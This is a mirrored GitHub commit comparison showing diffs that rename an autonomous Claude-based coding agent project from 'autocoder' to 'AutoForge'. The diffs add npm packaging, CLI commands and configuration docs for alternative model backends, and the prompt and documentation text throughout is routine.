mirror of
https://github.com/leonvanzyl/autocoder.git
synced 2026-02-05 16:33:08 +00:00
Compare commits
23 Commits
b2ab1ecc7a
...
master
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f4facb3200 | ||
|
|
2f8a6a6274 | ||
|
|
76246bad69 | ||
|
|
b736fb7382 | ||
|
|
032752e564 | ||
|
|
c55a1a0182 | ||
|
|
75766a433a | ||
|
|
ee993ed8ed | ||
|
|
a3b0abdc31 | ||
|
|
326f38b3c4 | ||
|
|
6d15d020ec | ||
|
|
196038fa26 | ||
|
|
4549840330 | ||
|
|
451a5a9d05 | ||
|
|
c2ad993e75 | ||
|
|
f6510b4dd8 | ||
|
|
2507bfd5f0 | ||
|
|
81d2f0cbe0 | ||
|
|
f32e7efda6 | ||
|
|
c7c88449ad | ||
|
|
9622da9561 | ||
|
|
83d2182107 | ||
|
|
7651436c27 |
@@ -97,7 +97,7 @@ Fix ALL issues before considering the implementation complete. Never leave linti
|
||||
|
||||
## Project-Specific Context
|
||||
|
||||
For this project (autocoder):
|
||||
For this project (autoforge):
|
||||
- **Python Backend**: Uses SQLAlchemy, FastAPI, follows patterns in `api/`, `mcp_server/`
|
||||
- **React UI**: Uses React 18, TypeScript, TanStack Query, Tailwind CSS v4, Radix UI
|
||||
- **Design System**: Neobrutalism style with specific color tokens and animations
|
||||
|
||||
@@ -8,7 +8,7 @@ This command **requires** the project directory as an argument via `$ARGUMENTS`.
|
||||
|
||||
**Example:** `/create-spec generations/my-app`
|
||||
|
||||
**Output location:** `$ARGUMENTS/.autocoder/prompts/app_spec.txt` and `$ARGUMENTS/.autocoder/prompts/initializer_prompt.md`
|
||||
**Output location:** `$ARGUMENTS/.autoforge/prompts/app_spec.txt` and `$ARGUMENTS/.autoforge/prompts/initializer_prompt.md`
|
||||
|
||||
If `$ARGUMENTS` is empty, inform the user they must provide a project path and exit.
|
||||
|
||||
@@ -347,13 +347,13 @@ First ask in conversation if they want to make changes.
|
||||
|
||||
## Output Directory
|
||||
|
||||
The output directory is: `$ARGUMENTS/.autocoder/prompts/`
|
||||
The output directory is: `$ARGUMENTS/.autoforge/prompts/`
|
||||
|
||||
Once the user approves, generate these files:
|
||||
|
||||
## 1. Generate `app_spec.txt`
|
||||
|
||||
**Output path:** `$ARGUMENTS/.autocoder/prompts/app_spec.txt`
|
||||
**Output path:** `$ARGUMENTS/.autoforge/prompts/app_spec.txt`
|
||||
|
||||
Create a new file using this XML structure:
|
||||
|
||||
@@ -489,7 +489,7 @@ Create a new file using this XML structure:
|
||||
|
||||
## 2. Update `initializer_prompt.md`
|
||||
|
||||
**Output path:** `$ARGUMENTS/.autocoder/prompts/initializer_prompt.md`
|
||||
**Output path:** `$ARGUMENTS/.autoforge/prompts/initializer_prompt.md`
|
||||
|
||||
If the output directory has an existing `initializer_prompt.md`, read it and update the feature count.
|
||||
If not, copy from `.claude/templates/initializer_prompt.template.md` first, then update.
|
||||
@@ -512,7 +512,7 @@ After: **CRITICAL:** You must create exactly **25** features using the `feature
|
||||
|
||||
## 3. Write Status File (REQUIRED - Do This Last)
|
||||
|
||||
**Output path:** `$ARGUMENTS/.autocoder/prompts/.spec_status.json`
|
||||
**Output path:** `$ARGUMENTS/.autoforge/prompts/.spec_status.json`
|
||||
|
||||
**CRITICAL:** After you have completed ALL requested file changes, write this status file to signal completion to the UI. This is required for the "Continue to Project" button to appear.
|
||||
|
||||
@@ -524,8 +524,8 @@ Write this JSON file:
|
||||
"version": 1,
|
||||
"timestamp": "[current ISO 8601 timestamp, e.g., 2025-01-15T14:30:00.000Z]",
|
||||
"files_written": [
|
||||
".autocoder/prompts/app_spec.txt",
|
||||
".autocoder/prompts/initializer_prompt.md"
|
||||
".autoforge/prompts/app_spec.txt",
|
||||
".autoforge/prompts/initializer_prompt.md"
|
||||
],
|
||||
"feature_count": [the feature count from Phase 4L]
|
||||
}
|
||||
@@ -539,9 +539,9 @@ Write this JSON file:
|
||||
"version": 1,
|
||||
"timestamp": "2025-01-15T14:30:00.000Z",
|
||||
"files_written": [
|
||||
".autocoder/prompts/app_spec.txt",
|
||||
".autocoder/prompts/initializer_prompt.md",
|
||||
".autocoder/prompts/coding_prompt.md"
|
||||
".autoforge/prompts/app_spec.txt",
|
||||
".autoforge/prompts/initializer_prompt.md",
|
||||
".autoforge/prompts/coding_prompt.md"
|
||||
],
|
||||
"feature_count": 35
|
||||
}
|
||||
@@ -559,11 +559,11 @@ Write this JSON file:
|
||||
|
||||
Once files are generated, tell the user what to do next:
|
||||
|
||||
> "Your specification files have been created in `$ARGUMENTS/.autocoder/prompts/`!
|
||||
> "Your specification files have been created in `$ARGUMENTS/.autoforge/prompts/`!
|
||||
>
|
||||
> **Files created:**
|
||||
> - `$ARGUMENTS/.autocoder/prompts/app_spec.txt`
|
||||
> - `$ARGUMENTS/.autocoder/prompts/initializer_prompt.md`
|
||||
> - `$ARGUMENTS/.autoforge/prompts/app_spec.txt`
|
||||
> - `$ARGUMENTS/.autoforge/prompts/initializer_prompt.md`
|
||||
>
|
||||
> The **Continue to Project** button should now appear. Click it to start the autonomous coding agent!
|
||||
>
|
||||
|
||||
@@ -42,7 +42,7 @@ You are the **Project Expansion Assistant** - an expert at understanding existin
|
||||
# FIRST: Read and Understand Existing Project
|
||||
|
||||
**Step 1:** Read the existing specification:
|
||||
- Read `$ARGUMENTS/.autocoder/prompts/app_spec.txt`
|
||||
- Read `$ARGUMENTS/.autoforge/prompts/app_spec.txt`
|
||||
|
||||
**Step 2:** Present a summary to the user:
|
||||
|
||||
@@ -231,4 +231,4 @@ If they want to add more, go back to Phase 1.
|
||||
|
||||
# BEGIN
|
||||
|
||||
Start by reading the app specification file at `$ARGUMENTS/.autocoder/prompts/app_spec.txt`, then greet the user with a summary of their existing project and ask what they want to add.
|
||||
Start by reading the app specification file at `$ARGUMENTS/.autoforge/prompts/app_spec.txt`, then greet the user with a summary of their existing project and ask what they want to add.
|
||||
|
||||
@@ -1,10 +0,0 @@
|
||||
---
|
||||
allowed-tools: Read, Write, Bash, Glob, Grep
|
||||
description: Convert GSD codebase mapping to Autocoder app_spec.txt
|
||||
---
|
||||
|
||||
# GSD to Autocoder Spec
|
||||
|
||||
Convert `.planning/codebase/*.md` (from `/gsd:map-codebase`) to Autocoder's `.autocoder/prompts/app_spec.txt`.
|
||||
|
||||
@.claude/skills/gsd-to-autocoder-spec/SKILL.md
|
||||
10
.claude/commands/gsd-to-autoforge-spec.md
Normal file
10
.claude/commands/gsd-to-autoforge-spec.md
Normal file
@@ -0,0 +1,10 @@
|
||||
---
|
||||
allowed-tools: Read, Write, Bash, Glob, Grep
|
||||
description: Convert GSD codebase mapping to AutoForge app_spec.txt
|
||||
---
|
||||
|
||||
# GSD to AutoForge Spec
|
||||
|
||||
Convert `.planning/codebase/*.md` (from `/gsd:map-codebase`) to AutoForge's `.autoforge/prompts/app_spec.txt`.
|
||||
|
||||
@.claude/skills/gsd-to-autoforge-spec/SKILL.md
|
||||
@@ -1,21 +1,21 @@
|
||||
---
|
||||
name: gsd-to-autocoder-spec
|
||||
name: gsd-to-autoforge-spec
|
||||
description: |
|
||||
Convert GSD codebase mapping to Autocoder app_spec.txt. This skill should be used when
|
||||
the user has run /gsd:map-codebase and wants to use Autocoder on an existing project.
|
||||
Triggers: "convert to autocoder", "gsd to spec", "create app_spec from codebase",
|
||||
"use autocoder on existing project", after /gsd:map-codebase completion.
|
||||
Convert GSD codebase mapping to AutoForge app_spec.txt. This skill should be used when
|
||||
the user has run /gsd:map-codebase and wants to use AutoForge on an existing project.
|
||||
Triggers: "convert to autoforge", "gsd to spec", "create app_spec from codebase",
|
||||
"use autoforge on existing project", after /gsd:map-codebase completion.
|
||||
---
|
||||
|
||||
# GSD to Autocoder Spec Converter
|
||||
# GSD to AutoForge Spec Converter
|
||||
|
||||
Converts `.planning/codebase/*.md` (GSD mapping output) to `.autocoder/prompts/app_spec.txt` (Autocoder format).
|
||||
Converts `.planning/codebase/*.md` (GSD mapping output) to `.autoforge/prompts/app_spec.txt` (AutoForge format).
|
||||
|
||||
## When to Use
|
||||
|
||||
- After running `/gsd:map-codebase` on an existing project
|
||||
- When onboarding an existing codebase to Autocoder
|
||||
- User wants Autocoder to continue development on existing code
|
||||
- When onboarding an existing codebase to AutoForge
|
||||
- User wants AutoForge to continue development on existing code
|
||||
|
||||
## Prerequisites
|
||||
|
||||
@@ -84,12 +84,12 @@ Extract:
|
||||
|
||||
Create `prompts/` directory:
|
||||
```bash
|
||||
mkdir -p .autocoder/prompts
|
||||
mkdir -p .autoforge/prompts
|
||||
```
|
||||
|
||||
**Mapping GSD Documents to Autocoder Spec:**
|
||||
**Mapping GSD Documents to AutoForge Spec:**
|
||||
|
||||
| GSD Source | Autocoder Target |
|
||||
| GSD Source | AutoForge Target |
|
||||
|------------|------------------|
|
||||
| STACK.md Languages | `<technology_stack>` |
|
||||
| STACK.md Frameworks | `<frontend>`, `<backend>` |
|
||||
@@ -114,7 +114,7 @@ mkdir -p .autocoder/prompts
|
||||
**Write the spec file** using the XML format from [references/app-spec-format.md](references/app-spec-format.md):
|
||||
|
||||
```bash
|
||||
cat > .autocoder/prompts/app_spec.txt << 'EOF'
|
||||
cat > .autoforge/prompts/app_spec.txt << 'EOF'
|
||||
<project_specification>
|
||||
<project_name>{from package.json or directory}</project_name>
|
||||
|
||||
@@ -173,9 +173,9 @@ EOF
|
||||
### Step 5: Verify Generated Spec
|
||||
|
||||
```bash
|
||||
head -100 .autocoder/prompts/app_spec.txt
|
||||
head -100 .autoforge/prompts/app_spec.txt
|
||||
echo "---"
|
||||
grep -c "User can\|System\|API\|Feature" .autocoder/prompts/app_spec.txt || echo "0"
|
||||
grep -c "User can\|System\|API\|Feature" .autoforge/prompts/app_spec.txt || echo "0"
|
||||
```
|
||||
|
||||
**Validation checklist:**
|
||||
@@ -194,15 +194,15 @@ Output:
|
||||
app_spec.txt generated from GSD codebase mapping.
|
||||
|
||||
Source: .planning/codebase/*.md
|
||||
Output: .autocoder/prompts/app_spec.txt
|
||||
Output: .autoforge/prompts/app_spec.txt
|
||||
|
||||
Next: Start Autocoder
|
||||
Next: Start AutoForge
|
||||
|
||||
cd {project_dir}
|
||||
python ~/projects/autocoder/start.py
|
||||
python ~/projects/autoforge/start.py
|
||||
|
||||
Or via UI:
|
||||
~/projects/autocoder/start_ui.sh
|
||||
~/projects/autoforge/start_ui.sh
|
||||
|
||||
The Initializer will create features.db from this spec.
|
||||
```
|
||||
@@ -1,6 +1,6 @@
|
||||
# Autocoder app_spec.txt XML Format
|
||||
# AutoForge app_spec.txt XML Format
|
||||
|
||||
Complete reference for the XML structure expected by Autocoder's Initializer agent.
|
||||
Complete reference for the XML structure expected by AutoForge's Initializer agent.
|
||||
|
||||
## Root Structure
|
||||
|
||||
@@ -275,7 +275,7 @@ The Initializer agent expects features distributed across categories:
|
||||
| Medium web app | 200-250 | 10-15 |
|
||||
| Complex full-stack | 300-400 | 15-20 |
|
||||
|
||||
## GSD to Autocoder Mapping
|
||||
## GSD to AutoForge Mapping
|
||||
|
||||
When converting from GSD codebase mapping:
|
||||
|
||||
@@ -36,7 +36,7 @@
|
||||
|
||||
# GLM/Alternative API Configuration (Optional)
|
||||
# To use Zhipu AI's GLM models instead of Claude, uncomment and set these variables.
|
||||
# This only affects AutoCoder - your global Claude Code settings remain unchanged.
|
||||
# This only affects AutoForge - your global Claude Code settings remain unchanged.
|
||||
# Get an API key at: https://z.ai/subscribe
|
||||
#
|
||||
# ANTHROPIC_BASE_URL=https://api.z.ai/api/anthropic
|
||||
|
||||
2
.gitignore
vendored
2
.gitignore
vendored
@@ -2,6 +2,7 @@
|
||||
generations/
|
||||
automaker/
|
||||
temp/
|
||||
temp-docs/
|
||||
|
||||
nul
|
||||
issues/
|
||||
@@ -114,6 +115,7 @@ Desktop.ini
|
||||
ui/dist/
|
||||
ui/.vite/
|
||||
.vite/
|
||||
*.tgz
|
||||
|
||||
# ===================
|
||||
# Environment files
|
||||
|
||||
32
.npmignore
Normal file
32
.npmignore
Normal file
@@ -0,0 +1,32 @@
|
||||
venv/
|
||||
**/__pycache__/
|
||||
**/*.pyc
|
||||
.git/
|
||||
.github/
|
||||
node_modules/
|
||||
test_*.py
|
||||
tests/
|
||||
generations/
|
||||
*.db
|
||||
.env
|
||||
requirements.txt
|
||||
CLAUDE.md
|
||||
LICENSE.md
|
||||
README.md
|
||||
ui/src/
|
||||
ui/node_modules/
|
||||
ui/tsconfig*.json
|
||||
ui/vite.config.ts
|
||||
ui/eslint.config.js
|
||||
ui/index.html
|
||||
ui/public/
|
||||
ui/playwright.config.ts
|
||||
ui/tests/
|
||||
start.bat
|
||||
start_ui.bat
|
||||
start.sh
|
||||
start_ui.sh
|
||||
start_ui.py
|
||||
.claude/agents/
|
||||
.claude/skills/
|
||||
.claude/settings.json
|
||||
78
CLAUDE.md
78
CLAUDE.md
@@ -17,18 +17,28 @@ This is an autonomous coding agent system with a React-based UI. It uses the Cla
|
||||
|
||||
## Commands
|
||||
|
||||
### Quick Start (Recommended)
|
||||
### npm Global Install (Recommended)
|
||||
|
||||
```bash
|
||||
# Windows - launches CLI menu
|
||||
start.bat
|
||||
npm install -g autoforge-ai
|
||||
autoforge # Start server (first run sets up Python venv)
|
||||
autoforge config # Edit ~/.autoforge/.env in $EDITOR
|
||||
autoforge config --show # Print active configuration
|
||||
autoforge --port 9999 # Custom port
|
||||
autoforge --no-browser # Don't auto-open browser
|
||||
autoforge --repair # Delete and recreate ~/.autoforge/venv/
|
||||
```
|
||||
|
||||
# macOS/Linux
|
||||
./start.sh
|
||||
### From Source (Development)
|
||||
|
||||
```bash
|
||||
# Launch Web UI (serves pre-built React app)
|
||||
start_ui.bat # Windows
|
||||
./start_ui.sh # macOS/Linux
|
||||
|
||||
# CLI menu
|
||||
start.bat # Windows
|
||||
./start.sh # macOS/Linux
|
||||
```
|
||||
|
||||
### Python Backend (Manual)
|
||||
@@ -136,11 +146,22 @@ Configuration in `pyproject.toml`:
|
||||
|
||||
## Architecture
|
||||
|
||||
### npm CLI (bin/, lib/)
|
||||
|
||||
The `autoforge` command is a Node.js wrapper that manages the Python environment and server lifecycle:
|
||||
- `bin/autoforge.js` - Entry point (shebang script)
|
||||
- `lib/cli.js` - Main CLI logic: Python 3.11+ detection (cross-platform), venv management at `~/.autoforge/venv/` with composite marker (requirements hash + Python version), `.env` config loading from `~/.autoforge/.env`, uvicorn server startup with PID file, and signal handling
|
||||
- `package.json` - npm package config (`autoforge-ai` on npm), `files` whitelist with `__pycache__` exclusions, `prepublishOnly` builds the UI
|
||||
- `requirements-prod.txt` - Runtime-only Python deps (excludes ruff, mypy, pytest)
|
||||
- `.npmignore` - Excludes dev files, tests, UI source from the published tarball
|
||||
|
||||
Publishing: `npm publish` (triggers `prepublishOnly` which builds UI, then publishes ~600KB tarball with 84 files)
|
||||
|
||||
### Core Python Modules
|
||||
|
||||
- `start.py` - CLI launcher with project creation/selection menu
|
||||
- `autonomous_agent_demo.py` - Entry point for running the agent (supports `--yolo`, `--parallel`, `--batch-size`, `--batch-features`)
|
||||
- `autocoder_paths.py` - Central path resolution with dual-path backward compatibility and migration
|
||||
- `autoforge_paths.py` - Central path resolution with dual-path backward compatibility and migration
|
||||
- `agent.py` - Agent session loop using Claude Agent SDK
|
||||
- `client.py` - ClaudeSDKClient configuration with security hooks, MCP servers, and Vertex AI support
|
||||
- `security.py` - Bash command allowlist validation (ALLOWED_COMMANDS whitelist)
|
||||
@@ -158,7 +179,7 @@ Configuration in `pyproject.toml`:
|
||||
### Project Registry
|
||||
|
||||
Projects can be stored in any directory. The registry maps project names to paths using SQLite:
|
||||
- **All platforms**: `~/.autocoder/registry.db`
|
||||
- **All platforms**: `~/.autoforge/registry.db`
|
||||
|
||||
The registry uses:
|
||||
- SQLite database with SQLAlchemy ORM
|
||||
@@ -245,6 +266,11 @@ Key components:
|
||||
- `ScheduleModal.tsx` - Schedule management UI
|
||||
- `SettingsModal.tsx` - Global settings panel
|
||||
|
||||
In-app documentation (`/#/docs` route):
|
||||
- `src/components/docs/sections/` - Content for each doc section (GettingStarted.tsx, AgentSystem.tsx, etc.)
|
||||
- `src/components/docs/docsData.ts` - Sidebar structure, subsection IDs, search keywords
|
||||
- `src/components/docs/DocsPage.tsx` - Page layout; `DocsContent.tsx` - section renderer with scroll tracking
|
||||
|
||||
Keyboard shortcuts (press `?` for help):
|
||||
- `D` - Toggle debug panel
|
||||
- `G` - Toggle Kanban/Graph view
|
||||
@@ -254,18 +280,18 @@ Keyboard shortcuts (press `?` for help):
|
||||
|
||||
### Project Structure for Generated Apps
|
||||
|
||||
Projects can be stored in any directory (registered in `~/.autocoder/registry.db`). Each project contains:
|
||||
- `.autocoder/prompts/app_spec.txt` - Application specification (XML format)
|
||||
- `.autocoder/prompts/initializer_prompt.md` - First session prompt
|
||||
- `.autocoder/prompts/coding_prompt.md` - Continuation session prompt
|
||||
- `.autocoder/features.db` - SQLite database with feature test cases
|
||||
- `.autocoder/.agent.lock` - Lock file to prevent multiple agent instances
|
||||
- `.autocoder/allowed_commands.yaml` - Project-specific bash command allowlist (optional)
|
||||
- `.autocoder/.gitignore` - Ignores runtime files
|
||||
Projects can be stored in any directory (registered in `~/.autoforge/registry.db`). Each project contains:
|
||||
- `.autoforge/prompts/app_spec.txt` - Application specification (XML format)
|
||||
- `.autoforge/prompts/initializer_prompt.md` - First session prompt
|
||||
- `.autoforge/prompts/coding_prompt.md` - Continuation session prompt
|
||||
- `.autoforge/features.db` - SQLite database with feature test cases
|
||||
- `.autoforge/.agent.lock` - Lock file to prevent multiple agent instances
|
||||
- `.autoforge/allowed_commands.yaml` - Project-specific bash command allowlist (optional)
|
||||
- `.autoforge/.gitignore` - Ignores runtime files
|
||||
- `CLAUDE.md` - Stays at project root (SDK convention)
|
||||
- `app_spec.txt` - Root copy for agent template compatibility
|
||||
|
||||
Legacy projects with files at root level (e.g., `features.db`, `prompts/`) are auto-migrated to `.autocoder/` on next agent start. Dual-path resolution ensures old and new layouts work transparently.
|
||||
Legacy projects with files at root level (e.g., `features.db`, `prompts/`) are auto-migrated to `.autoforge/` on next agent start. Dual-path resolution ensures old and new layouts work transparently.
|
||||
|
||||
### Security Model
|
||||
|
||||
@@ -311,14 +337,14 @@ The agent's bash command access is controlled through a hierarchical configurati
|
||||
|
||||
**Command Hierarchy (highest to lowest priority):**
|
||||
1. **Hardcoded Blocklist** (`security.py`) - NEVER allowed (dd, sudo, shutdown, etc.)
|
||||
2. **Org Blocklist** (`~/.autocoder/config.yaml`) - Cannot be overridden by projects
|
||||
3. **Org Allowlist** (`~/.autocoder/config.yaml`) - Available to all projects
|
||||
2. **Org Blocklist** (`~/.autoforge/config.yaml`) - Cannot be overridden by projects
|
||||
3. **Org Allowlist** (`~/.autoforge/config.yaml`) - Available to all projects
|
||||
4. **Global Allowlist** (`security.py`) - Default commands (npm, git, curl, etc.)
|
||||
5. **Project Allowlist** (`.autocoder/allowed_commands.yaml`) - Project-specific commands
|
||||
5. **Project Allowlist** (`.autoforge/allowed_commands.yaml`) - Project-specific commands
|
||||
|
||||
**Project Configuration:**
|
||||
|
||||
Each project can define custom allowed commands in `.autocoder/allowed_commands.yaml`:
|
||||
Each project can define custom allowed commands in `.autoforge/allowed_commands.yaml`:
|
||||
|
||||
```yaml
|
||||
version: 1
|
||||
@@ -338,7 +364,7 @@ commands:
|
||||
|
||||
**Organization Configuration:**
|
||||
|
||||
System administrators can set org-wide policies in `~/.autocoder/config.yaml`:
|
||||
System administrators can set org-wide policies in `~/.autoforge/config.yaml`:
|
||||
|
||||
```yaml
|
||||
version: 1
|
||||
@@ -405,7 +431,7 @@ Run coding agents using local models via Ollama v0.14.0+:
|
||||
ANTHROPIC_DEFAULT_OPUS_MODEL=qwen3-coder
|
||||
ANTHROPIC_DEFAULT_HAIKU_MODEL=qwen3-coder
|
||||
```
|
||||
5. Run autocoder normally - it will use your local Ollama models
|
||||
5. Run AutoForge normally - it will use your local Ollama models
|
||||
|
||||
**Recommended coding models:**
|
||||
- `qwen3-coder` - Good balance of speed and capability
|
||||
@@ -427,7 +453,7 @@ Run coding agents using local models via Ollama v0.14.0+:
|
||||
**Slash commands** (`.claude/commands/`):
|
||||
- `/create-spec` - Interactive spec creation for new projects
|
||||
- `/expand-project` - Expand existing project with new features
|
||||
- `/gsd-to-autocoder-spec` - Convert GSD codebase mapping to app_spec.txt
|
||||
- `/gsd-to-autoforge-spec` - Convert GSD codebase mapping to app_spec.txt
|
||||
- `/check-code` - Run lint and type-check for code quality
|
||||
- `/checkpoint` - Create comprehensive checkpoint commit
|
||||
- `/review-pr` - Review pull requests
|
||||
@@ -439,7 +465,7 @@ Run coding agents using local models via Ollama v0.14.0+:
|
||||
|
||||
**Skills** (`.claude/skills/`):
|
||||
- `frontend-design` - Distinctive, production-grade UI design
|
||||
- `gsd-to-autocoder-spec` - Convert GSD codebase mapping to Autocoder app_spec format
|
||||
- `gsd-to-autoforge-spec` - Convert GSD codebase mapping to AutoForge app_spec format
|
||||
|
||||
**Other:**
|
||||
- `.claude/templates/` - Prompt templates copied to new projects
|
||||
@@ -449,12 +475,12 @@ Run coding agents using local models via Ollama v0.14.0+:
|
||||
|
||||
### Prompt Loading Fallback Chain
|
||||
|
||||
1. Project-specific: `{project_dir}/.autocoder/prompts/{name}.md` (or legacy `{project_dir}/prompts/{name}.md`)
|
||||
1. Project-specific: `{project_dir}/.autoforge/prompts/{name}.md` (or legacy `{project_dir}/prompts/{name}.md`)
|
||||
2. Base template: `.claude/templates/{name}.template.md`
|
||||
|
||||
### Agent Session Flow
|
||||
|
||||
1. Check if `.autocoder/features.db` has features (determines initializer vs coding agent)
|
||||
1. Check if `.autoforge/features.db` has features (determines initializer vs coding agent)
|
||||
2. Create ClaudeSDKClient with security settings
|
||||
3. Send prompt and stream response
|
||||
4. Auto-continue with 3-second delay between sessions
|
||||
|
||||
146
README.md
146
README.md
@@ -1,4 +1,4 @@
|
||||
# AutoCoder
|
||||
# AutoForge
|
||||
|
||||
[](https://www.buymeacoffee.com/leonvanzyl)
|
||||
|
||||
@@ -14,9 +14,11 @@ A long-running autonomous coding agent powered by the Claude Agent SDK. This too
|
||||
|
||||
## Prerequisites
|
||||
|
||||
### Claude Code CLI (Required)
|
||||
- **Node.js 20+** - Required for the CLI
|
||||
- **Python 3.11+** - Auto-detected on first run ([download](https://www.python.org/downloads/))
|
||||
- **Claude Code CLI** - Install and authenticate (see below)
|
||||
|
||||
This project requires the Claude Code CLI to be installed. Install it using one of these methods:
|
||||
### Claude Code CLI (Required)
|
||||
|
||||
**macOS / Linux:**
|
||||
```bash
|
||||
@@ -39,35 +41,63 @@ You need one of the following:
|
||||
|
||||
## Quick Start
|
||||
|
||||
### Option 1: Web UI (Recommended)
|
||||
### Option 1: npm Install (Recommended)
|
||||
|
||||
**Windows:**
|
||||
```cmd
|
||||
start_ui.bat
|
||||
```
|
||||
|
||||
**macOS / Linux:**
|
||||
```bash
|
||||
./start_ui.sh
|
||||
npm install -g autoforge-ai
|
||||
autoforge
|
||||
```
|
||||
|
||||
On first run, AutoForge automatically:
|
||||
1. Checks for Python 3.11+
|
||||
2. Creates a virtual environment at `~/.autoforge/venv/`
|
||||
3. Installs Python dependencies
|
||||
4. Copies a default config file to `~/.autoforge/.env`
|
||||
5. Starts the server and opens your browser
|
||||
|
||||
### CLI Commands
|
||||
|
||||
```
|
||||
autoforge Start the server (default)
|
||||
autoforge config Open ~/.autoforge/.env in $EDITOR
|
||||
autoforge config --path Print config file path
|
||||
autoforge config --show Show active configuration values
|
||||
autoforge --port PORT Custom port (default: auto from 8888)
|
||||
autoforge --host HOST Custom host (default: 127.0.0.1)
|
||||
autoforge --no-browser Don't auto-open browser
|
||||
autoforge --repair Delete and recreate virtual environment
|
||||
autoforge --version Print version
|
||||
autoforge --help Show help
|
||||
```
|
||||
|
||||
### Option 2: From Source (Development)
|
||||
|
||||
Clone the repository and use the start scripts directly. This is the recommended path if you want to contribute or modify AutoForge itself.
|
||||
|
||||
```bash
|
||||
git clone https://github.com/leonvanzyl/autoforge.git
|
||||
cd autoforge
|
||||
```
|
||||
|
||||
**Web UI:**
|
||||
|
||||
| Platform | Command |
|
||||
|---|---|
|
||||
| Windows | `start_ui.bat` |
|
||||
| macOS / Linux | `./start_ui.sh` |
|
||||
|
||||
This launches the React-based web UI at `http://localhost:5173` with:
|
||||
- Project selection and creation
|
||||
- Kanban board view of features
|
||||
- Real-time agent output streaming
|
||||
- Start/pause/stop controls
|
||||
|
||||
### Option 2: CLI Mode
|
||||
**CLI Mode:**
|
||||
|
||||
**Windows:**
|
||||
```cmd
|
||||
start.bat
|
||||
```
|
||||
|
||||
**macOS / Linux:**
|
||||
```bash
|
||||
./start.sh
|
||||
```
|
||||
| Platform | Command |
|
||||
|---|---|
|
||||
| Windows | `start.bat` |
|
||||
| macOS / Linux | `./start.sh` |
|
||||
|
||||
The start script will:
|
||||
1. Check if Claude CLI is installed
|
||||
@@ -130,11 +160,9 @@ Features are stored in SQLite via SQLAlchemy and managed through an MCP server t
|
||||
## Project Structure
|
||||
|
||||
```
|
||||
autonomous-coding/
|
||||
├── start.bat # Windows CLI start script
|
||||
├── start.sh # macOS/Linux CLI start script
|
||||
├── start_ui.bat # Windows Web UI start script
|
||||
├── start_ui.sh # macOS/Linux Web UI start script
|
||||
autoforge/
|
||||
├── bin/ # npm CLI entry point
|
||||
├── lib/ # CLI bootstrap and setup logic
|
||||
├── start.py # CLI menu and project management
|
||||
├── start_ui.py # Web UI backend (FastAPI server launcher)
|
||||
├── autonomous_agent_demo.py # Agent entry point
|
||||
@@ -165,9 +193,10 @@ autonomous-coding/
|
||||
│ │ └── create-spec.md # /create-spec slash command
|
||||
│ ├── skills/ # Claude Code skills
|
||||
│ └── templates/ # Prompt templates
|
||||
├── generations/ # Generated projects go here
|
||||
├── requirements.txt # Python dependencies
|
||||
└── .env # Optional configuration (N8N webhook)
|
||||
├── requirements.txt # Python dependencies (development)
|
||||
├── requirements-prod.txt # Python dependencies (npm install)
|
||||
├── package.json # npm package definition
|
||||
└── .env # Optional configuration
|
||||
```
|
||||
|
||||
---
|
||||
@@ -264,11 +293,20 @@ The UI receives live updates via WebSocket (`/ws/projects/{project_name}`):
|
||||
|
||||
---
|
||||
|
||||
## Configuration (Optional)
|
||||
## Configuration
|
||||
|
||||
AutoForge reads configuration from a `.env` file. The file location depends on how you installed AutoForge:
|
||||
|
||||
| Install method | Config file location | Edit command |
|
||||
|---|---|---|
|
||||
| npm (global) | `~/.autoforge/.env` | `autoforge config` |
|
||||
| From source | `.env` in the project root | Edit directly |
|
||||
|
||||
A default config file is created automatically on first run. Use `autoforge config` to open it in your editor, or `autoforge config --show` to print the active values.
|
||||
|
||||
### N8N Webhook Integration
|
||||
|
||||
The agent can send progress notifications to an N8N webhook. Create a `.env` file:
|
||||
Add to your `.env` to send progress notifications to an N8N webhook:
|
||||
|
||||
```bash
|
||||
# Optional: N8N webhook for progress notifications
|
||||
@@ -290,7 +328,7 @@ When test progress increases, the agent sends:
|
||||
|
||||
### Using GLM Models (Alternative to Claude)
|
||||
|
||||
To use Zhipu AI's GLM models instead of Claude, add these variables to your `.env` file in the AutoCoder directory:
|
||||
Add these variables to your `.env` file to use Zhipu AI's GLM models:
|
||||
|
||||
```bash
|
||||
ANTHROPIC_BASE_URL=https://api.z.ai/api/anthropic
|
||||
@@ -301,10 +339,40 @@ ANTHROPIC_DEFAULT_OPUS_MODEL=glm-4.7
|
||||
ANTHROPIC_DEFAULT_HAIKU_MODEL=glm-4.5-air
|
||||
```
|
||||
|
||||
This routes AutoCoder's API requests through Zhipu's Claude-compatible API, allowing you to use GLM-4.7 and other models. **This only affects AutoCoder** - your global Claude Code settings remain unchanged.
|
||||
This routes AutoForge's API requests through Zhipu's Claude-compatible API, allowing you to use GLM-4.7 and other models. **This only affects AutoForge** - your global Claude Code settings remain unchanged.
|
||||
|
||||
Get an API key at: https://z.ai/subscribe
|
||||
|
||||
### Using Ollama Local Models
|
||||
|
||||
Add these variables to your `.env` file to run agents with local models via Ollama v0.14.0+:
|
||||
|
||||
```bash
|
||||
ANTHROPIC_BASE_URL=http://localhost:11434
|
||||
ANTHROPIC_AUTH_TOKEN=ollama
|
||||
API_TIMEOUT_MS=3000000
|
||||
ANTHROPIC_DEFAULT_SONNET_MODEL=qwen3-coder
|
||||
ANTHROPIC_DEFAULT_OPUS_MODEL=qwen3-coder
|
||||
ANTHROPIC_DEFAULT_HAIKU_MODEL=qwen3-coder
|
||||
```
|
||||
|
||||
See the [CLAUDE.md](CLAUDE.md) for recommended models and known limitations.
|
||||
|
||||
### Using Vertex AI
|
||||
|
||||
Add these variables to your `.env` file to run agents via Google Cloud Vertex AI:
|
||||
|
||||
```bash
|
||||
CLAUDE_CODE_USE_VERTEX=1
|
||||
CLOUD_ML_REGION=us-east5
|
||||
ANTHROPIC_VERTEX_PROJECT_ID=your-gcp-project-id
|
||||
ANTHROPIC_DEFAULT_OPUS_MODEL=claude-opus-4-5@20251101
|
||||
ANTHROPIC_DEFAULT_SONNET_MODEL=claude-sonnet-4-5@20250929
|
||||
ANTHROPIC_DEFAULT_HAIKU_MODEL=claude-3-5-haiku@20241022
|
||||
```
|
||||
|
||||
Requires `gcloud auth application-default login` first. Note the `@` separator (not `-`) in Vertex AI model names.
|
||||
|
||||
---
|
||||
|
||||
## Customization
|
||||
@@ -335,6 +403,18 @@ This is normal. The initializer agent is generating detailed test cases, which t
|
||||
**"Command blocked by security hook"**
|
||||
